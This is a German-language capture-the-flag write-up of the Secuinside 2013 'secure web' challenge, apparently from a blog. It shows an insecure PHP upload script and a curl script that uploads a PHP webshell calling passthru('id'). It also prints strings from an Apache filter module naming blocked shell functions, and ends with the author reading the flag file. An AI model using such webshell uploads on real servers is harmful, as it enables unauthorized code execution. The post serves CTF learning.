Secuinside CTF 2013 – Secure Web

SecuInside 2013 CTF - secure web - task description

Zu dieser Challenge (secure web) erhalten wir ein binäres Apache-Modul sowie eine Webseite genannt. Zuerst rufen wir die Webseite auf um uns einen Überblick zu verschaffen und das eigentliche Ziel der Challenge zu konkretisieren.

SecuInside 2013 CTF - secure web - upload website

Wir finden eine Seite vor, auf der Mediendateien hochgeladen werden können. Die Information “keine Skriptdateien” deutet bereits darauf hin, dass wir so etwas versuchen könnten ;-). Zusätzlich erhalten wir den Quellcode der Webseite, den wir uns zunächst genauer ansehen:

<?php

$uploaddir = '/var/www/uploads/' . md5($_SERVER["REMOTE_ADDR"]) . '/';

if(is_dir($uploaddir) == false)
  mkdir($uploaddir);

$uploadfile = $uploaddir . basename($_FILES['data']['name']);

if (move_uploaded_file($_FILES['data']['tmp_name'], $uploadfile)) {
  echo "Success\n";
} else {
  print "failed\n";
}

?>


Wir erkennen, dass unsere hochgeladenen Dateien im Verzeichnis “uploads/” im Unterverzeichnis der MD5-Prüfsumme unserer IP-Adresse abgelegt werden. Bei Erfolg erhalten wir die Meldung “Success”, andernfalls “failed”. Ein Test zeigt, dass sich normale Textdateien mit der Endung “.txt” ohne Probleme hochladen und im entsprechenden Verzeichnis vorfinden lassen.

Das Hochladen mit Dateien mit der Endung “.php” führt jedoch in jedem Fall zu der Meldung “failed. Neben dem Upload-Skript scheint also auch das Apache-Modul “mod_dontwebhack.so” eine Rolle zu spielen. Der Aufruf mit “strings” offentbart uns folgende Zeichenketten:

rup0rt@lambda:~/SecuInside2013$ strings mod_dontwebhack.so 
[...]
_Jv_RegisterClasses             
dontwebhack_module              
check_bad_php_string            
strlen
[...]
GLIBC_2.1.3                     
GLIBC_2.0                       
passthru                        
fpassthru                       
system
execl
open
popen
escapeshellcmd
eval
proc_open
get_contents
Content-Disposition: 
[...]

Neben einer Funktion “check_bad_php_string”, die offensichtlich unseren Upload überprüfen soll, finden sich auch mehrere PHP-Funktionen wieder, die zum Ausführung von Konsolenkommandos verwendet werden können. Um weitere Tests an der Webseite durchzuführen, erstellen wir zunächst ein kleines secure_web.sh:

#!/bin/sh

POST='data=@test.php;filename=test.php;type=application/x-php'

echo "POSTING: $POST"

curl -L -F "$POST" "http://59.9.131.155:8181/upload.php"

echo

Dreisterweise wollen wir hier direkt den Upload einer PHP-Probieren, die wir zusätzlich mit folgendem Inhalt anlegen:

<?
  passthru("id");

  echo "done"
?>

Das Ausführen des BASH-Skriptes liefert (witzigerweise) nicht das erwartete Ergebnis “failed”, sondern:

rup0rt@lambda:~/SecuInside2013$ ./secure_web.sh
POSTING: data=@test.php;filename=test.php;type=application/x-php

Success

Ungläubig, dass unserer Upload tatsächlich funktioniert haben könnte, rufe ich das “uploads/” Verzeichnis für unsere MD5-gehashte IP-Adresse auf und erhalte:

SecuInsode 2013 CTF - secure web - arbitrary code execution

Der Upload war wirklich erfolgreich und der Code wurde ausgeführt!!

(Ich bin mir bis heute nicht sicher, warum der Upload funktioniert, gehe jedoch davon aus, dass die Entwickler der Challenge hier einen Fehler gemacht haben und ein so einfaches Umgehen der Skript-Prüfung nicht vorgesehen war.)

Nun geht es nur noch darum, die Flagge zu finden. Dazu navigieren wir mit “ls” etwas durch das Dateisystem und finden heraus, dass im Heimatverzeichnis “/home/” der Benutzer “dwh300” existiert. Darin finden wir folgenden Inhalt:

SecuInside 2013 CTF - secure web - flag found

Nachdem wir die “flags” Datei gefunden haben, ist es ein leichtes, diese mit “cat” auszugeben und die Flagge zu erhalten.

SecuInside 2013 CTF - secure web - solution

Die Lösung lautet daher “!!xx_^s0m3th1ng wr0ng^_yy!!“.

Leave a Reply

Your email address will not be published. Required fields are marked *